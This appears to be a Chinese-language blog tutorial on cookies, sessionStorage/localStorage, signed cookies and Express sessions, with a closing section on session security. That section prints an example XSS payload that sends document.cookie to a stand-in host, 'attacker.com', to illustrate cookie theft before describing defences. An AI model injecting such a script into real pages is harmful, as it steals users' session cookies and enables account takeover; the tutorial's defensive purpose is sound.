cookie
cookie的起源
早期web刚开始出现复杂的应用程序时,产生了对于能够直接在客户端上存储用户信息能力的需求(例如登录信息、偏好设定等等)。服务器希望每个http请求到来的同时带来一些个性化的信息,以进行个性化的处理。这个需求的第一个解决方案是网景公司于1993年创造的cookie,定义与RFC2109。
wiki:Cookie(复数形态Cookies),中文名称为“小型文本文件”或“小甜饼”,指某些为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)
cookie的原理与实现
服务器在http响应头中添加Set-Cookie信息,浏览器收到响应后会根据头中的字段保存cookie,下一次访问时在请求头中附带cookie内容,供服务器根据cookie值进行后续处理。
下面用node express实现一个简单的由服务器发放cookie的例子,记录用户在10秒内访问的次数:
var express = require('express'),
cookieParser = require('cookie-parser'); //cookie-parser是一个中间件,解析请求头中的cookies并填入req.cookies对象
var app = express();
app.listen(3000);
app.use(cookieParser());
app.get('/', function (req, res) {
if (req.cookies.visit) {
res.cookie('visit', +req.cookies.visit + 1, {maxAge: 10000});
res.send("再次欢迎访问");
} else {
res.cookie('visit', 1, {maxAge: 10000});
res.send("欢迎首次访问");
}
if (!req.cookies.hello) {
res.cookie('hello', 'hello world', {maxAge: 5000});
}
});
首次访问/,观察response header:
Set-Cookie:hello=hello%20world; Max-Age=5; Path=/; Expires=Fri, 01 Jul 2016 08:31:39 GMT
Set-Cookie:visit=1; Max-Age=10; Path=/; Expires=Fri, 01 Jul 2016 08:31:44 GMT
设置了两个cookie,并指定了时效。5秒内再次访问/,则响应头中不再包含set-cookie hello;5秒后访问,cookie hello失效,服务器再次发送cookie hello。10秒内不断访问/,则服务器每次都会重新发送cookie visit,值为10秒内访问的次数,而次数是根据用户发送的cookie hello来计算的。
第二次访问的request header:Cookie:hello=hello%20world; visit=1
cookie们用';'连接后被发送。
这样,就实现了我们的需求,由客户端存储服务器想要的个性化信息。
cookie的构成与限制
一个cookie的信息在发送前由服务器设置,express的res.cookie可以自定义设置。
res.cookie(name, value [, options])
- 名称-值 name-value:名称不区分大小写;值为字符串,两者都必须被URL编码
options: - 域 domain:cookie对哪个域有效,浏览器向该域发送的请求中都会包含这个cookie。若域x = www.A.com,那么只有访问x时才会发送该cookie;若x = .A.com,则访问x的子域如bb.A.com也会发送
- 路径 path:对于访问指定域中的路径,才向服务器发送该cookie
- 失效时间 expires:表示cookie何时应该被删除的时间戳,也就是何时停止向服务器发送该cookie。若设置为以前的时间,则立即删除
- maxAge:expires的方便版,设置一个毫秒数,从现在开始计时;<=0立即删除。expires 是 UTC 格式时间,maxAge 是 cookie 多久后过期的相对时间。当不设置这两个选项时,会产生 session cookie,session cookie 是暂时的,当用户关闭浏览器时,就被清除(准确的说应该是和浏览器生命周期一致)。
- 安全标志 secure: true表示仅https才发送该cookie
- httpOnly: true表示该cookie不能被浏览器访问,只能被服务器访问
JS浏览器端操作cookie
BOM为我们提供了操作cookie的接口:document.cookie。在一个页面中只能访问当前页面可用的cookie(根据cookie的域、路径、失效时间和安全设置),它返回一个分号连接的键值对字符串:
document.cookie // 输出当前页可访问的cookie:"hello=hello; visit=1"
添加cookie:
document.cookie=encodeURIComponent("hey") + "=" + encodeURIComponent("you") + "; domain=localhost:3000; path=/" //添加cookie hey
覆盖cookie:
document.cookie=encodeURIComponent("hello") + "=" + encodeURIComponent("new world")
由于JS中读写cookie不是非常直观,常常需要写一些工具函数来简化操作cookie,如读取、写入、删除。其中,删除需要使用重写一个失效时间为过去的cookie,它的名称、路径、域、安全选项需要相同。
看一个例子:
document.cookie // 假设当前页面在路径/abc下,"A=1" cookie A的path为/abc
document.cookie = "A=2; path='/'"
document.cookie // "A=1; A=2"
这是因为俩A的path不同。名称、域、路径、安全选项共同确定一个唯一的cookie。
cookie的限制
浏览器对每个域能保存的cookie数量限制不同,而大多浏览器都对单个cookie的长度限制在4KB,若超过这个长度,则会被浏览器抛弃。
由于所有的cookie都会由浏览器作为请求头发送,所以在cookie中存储大量信息会影响到特定域的请求性能。尽管浏览器对cookie进行了大小限制,不过最好还是尽可能在cookie中少存储信息,以避免影响性能。
cookie的性质和它的局限性使得其并不能作为存储大量信息的理想手段,所以又出现了其他客户端存储方法。
其他客户端存储机制
Web Storage
最早在Web应用1.0规范中提出,最终成为了H5的一部分,它的目的是提供一种在cookie之外存储会话数据的途径,并提供一种存储大量可以跨会话存在的数据的机制。在BOM中它主要有两个常用对象:
window.sessionStorage
window.localStorage
都是Storage类的对象,通过设置键值对来存储值。
-
sessionStorage 与上面提到过的 session cookie 的区别:
1.前者存储在window.sessionStorage中,由页面脚本来赋值;后者存储在document.cookie中,就是个expires与maxAge为默认的cookie,由response header set-cookie赋值;
2.MDN上的解释:
A page session lasts for as long as the browser is open and survives over page reloads and restores. Opening a page in a new tab or window will cause a new session to be initiated, which differs from how session cookies work.
试了一下两者,我的理解是:对于sessionStorage,新开一个tab或窗口都算一个新的会话,例如页面A在tab X中set了一个sessionStorage m,另一个tab或窗口中打开A,是没有m滴,因此它的作用域仅在当前tab,而关闭了A,m也就没了,生命周期也仅限于当前tab;而对于session cookie,只要浏览器没有关闭,它都在。(若理解有偏差,感谢指出)
-
localStorage
localStorage作为持久保存客户端数据的方案。曾经firefox推出过一个globalStorage,后来在h5规范中被前者取代。要访问同一个localStorage对象,页面必须来自同一域名、同一协议、同一端口。
生命周期:保存到js删除或者用户主动清除浏览器缓存。
PS:storage事件 localStorage发送变更会触发该事件,可用于同一域名下的页面间通信 参考。
** 三者区别**
| cookie | sessionStorage | localStorage
-|------|------------- | ----------
生命周期|由expires决定|到本tab或window关闭|到js删除或浏览器清除缓存
作用范围|由domain与path决定|本tab或本window|同一域名、协议、端口
signedCookie
想象一下,如果某个网站用户每次操作都需要输入用户名密码,那太烦了。如何用cookie解决呢?
实现方法是把登录信息如账号、密码等保存在Cookie中,并控制Cookie的有效期,下次访问时再验证Cookie中的登录信息即可。
保存登录信息有多种方案。
- 最直接的是把用户名与密码明文都保持到cookie中,下次访问时服务器检查cookie中的用户名与密码,与数据库比较。这是一种比较危险的选择,一般不把密码等重要信息保存到Cookie中。
- 还有一种方案是把密码加密后保存到Cookie中,下次访问时解密并与数据库比较。这种方案略微安全一些,至少客户端保存的是密码的密文。这两种方案验证账号时都要查询数据库,而且每次都发个密码过去被抓到包都完蛋。
- signedCookie:用户只需第一次访问时输入用户名密码,服务器查库验证,然后利用信息摘要算法(如md1,sha1等)对用户名和服务器上的secret string计算一次,连同账号一块保存到cookie中。下次访问时,请求头里带着用户名和摘要,服务器只需要用自己的算法和secret string对用户名计算一下,判断结果是否一致即可认证。这样就不用每次都传密码啦。用户或攻击者也没法伪造信息了,一旦它更改了 cookie 中的信息,则服务器会发现 hash 校验的不一致;而且毕竟他不懂服务器上的seret string是什么,而暴力破解哈希值的成本太高。
session
session的起源
由于HTTP协议是无状态的协议,所以服务端需要记录客户端的状态时(不想存数据库的用户数据),就需要用某种机制来识别、记录。在识别用户这个需求上,上述的signedCookie是一种解决方案,但它只是用来识别登录用户,不能标识任意的访问请求;而对于记录这个需求,一些重要的数据就不能存放在 cookie 中了,客户端容易伪造,而且如果cookie太多也慢。
为了解决这些问题,就有人设计了session,session 中的数据是保留在服务器端的,服务器对一个用户在一次会话期间保存一个session对象。通过客户端一份、服务器端一份相同的字段来实现用户识别,通过服务器端在该session中保存键值对来记录用户数据。(从存储角度上说cookie是减轻服务器端存储压力,session是减轻客户端压力、减少传输带宽,都是舍己为人)
session的原理与实现
session实现也得靠cookie。当客户端第一次访问某网站时,服务器会根据自定义的规则计算出一个新的sid(它不会重复,也极难被仿造),创建一个对应的session对象并存储;然后sid作为cookie发给浏览器。此后服务器根据收到请求里的sid来匹配session,session中除了sid外可以存一些其他该客户端的信息键值对(signedCookie是用来识别登录的用户,sid是识别http请求,虽然他俩看起来很像)。这样只通过一个sid就能实现记录用户的状态啦。
如果说Cookie机制是通过检查客户身上的“通行证”来确定客户身份的话,那么Session机制就是通过检查服务器上的“客户明细表”来确认客户身份。Session相当于程序在服务器上建立的一份客户档案,客户来访的时候只需要查询客户档案表就可以了
sid的生命周期:通常服务器设置这个sid为一个默认expires的session cookie,客户端关了浏览器代表本次会话结束它就没了;服务器端的session存储一般也会给每个session设定一个时效,比如1小时,1小时内用户没有再访问就删除这个session。(若1小时后用户请求再携带服务器已删除的sid,那么服务器检索不到就会新建一个session并返回一个新的sid)
还是用express举个栗子:
express 中操作 session 要用到 express-session 这个模块,主要的方法就是session(options),其中 options 中包含可选参数:
- name: 设置 cookie 中,保存 session 的字段名称,默认为 connect.sid
- store: session 的存储方式,默认存放在内存中,也可以使用 redis,mongodb 等。express 生态中都有相应模块的支持
- secret: 通过设置的 secret 字符串,来计算sid
- cookie: 设置存放 sid 的 cookie 的相关选项,默认为(default: { path: '/', httpOnly: true, secure: false, maxAge: null })
- genid: 产生一个新的 session_id 时,所使用的函数, 默认使用 uid-safe这个 npm 包
- rolling: 每个请求都重新设置一个 sid 相同的 cookie,延长时效,默认为 false
- resave: 即使 session 没有被修改,也保存 session 值,默认为 true
- saveUninitialized: 对不带sid的请求设置新的session,默认为true
利用session来存储用户对某页面的访问次数:
var express = require('express');// 首先引入 express-session 这个模块
var session = require('express-session');
var app = express();app.listen(5000);// 按照上面的解释,设置 session 的可选参数
app.use(session({ secret: 'recommand 128 bytes random string', cookie: { maxAge: 60 * 1000 }}));
app.get('/', function (req, res) { // 检查 session 中的 isVisit 字段
// 如果存在则增加一次,否则为 session 设置 isVisit 字段,并初始化为 1。
if(req.session.isVisit) {
req.session.isVisit++;
res.send('<p>第 ' + req.session.isVisit + '次来此页面</p>');
} else {
req.session.isVisit = 1;
res.send("欢迎第一次来这里");
console.log(req.sessionID); // Q1t2E1BmlR3jLisjDPq5KgMX6ZsHsRfl
}});
安全
session安全
从前文可以知道,session数据放在后端,sid放在前端,这就存在着sid被盗用的可能:
- 伪造:如果web应用的用户十分多,那么攻击者自行设计的随机算法的一些口令值就有理论机会命中有效的口令值
- XSS:攻击者往往利用网站没有对用户内容转义处理进行脚本注入获取用户在该网站上的cookie
- 窃听 / 中间人攻击
防御伪造sid:
session基于cookie,那么可以利用上文提到的signedCookie来让sid更加安全。
上文signedCookie举的栗子是对用户名签名,那么这里对sid签名就OK了。观察上节session例子的cookie与sid:
可以看到浏览器存的cookie connect.sid的值由三部分组成:'s%3A'('s:'的编码),中间是sid, '.' 之后是signedSid。
计算set-cookie值对应express-session模块中的这行代码:
var signed = 's:' + signature.sign(val, secret);
secret就是一开始session设置中的密钥了。客户端尽管可以伪造口令值,但是由于不知道secret,签名信息很难伪造。后台只需要在响应时将口令和签名比对,如果签名非法,将服务器端该sid的数据立即过期即可。
防御窃听、XSS:
XSS漏洞:
XSS跨站脚本攻击大家已经很熟悉了,攻击者往往利用网站没有对用户内容转义处理进行脚本注入获取用户在该网站上的cookie。例如,网站直接输出了一段攻击者的留言:
<script>
var d = document.createElement('script');
d.src = 'attacker.com/x?' + document.cookie.replaceAll(';', '&');
document.body.appendChild(d);
</script>
其他用户打开页面就中招了,这段注入脚本把用户的cookie发给了攻击者。
防御方法一种是设置cookie的httponly字段为true,这样脚本就不能访问到该cookie了。
还有一种是将客户端的某些独有信息与口令作为原值,然后签名,这样攻击者一旦不在原始的客户端上进行访问,就会导致签名失败。这些独有信息包括用户IP和用户代理。
当然在中间人攻击(尤其同网,比如免费wifi的劫持风险)的情况下,session截获重放基本也是抵挡不住的了。彻底解决方法是上https,并且需要要求浏览者有能力辨识https出示的证书真假。
参考:
- JavaScript高级程序设计
- 深入浅出nodejs
- Node.js 包教不包会 之 cookie 和 session
- cookie/session机制详解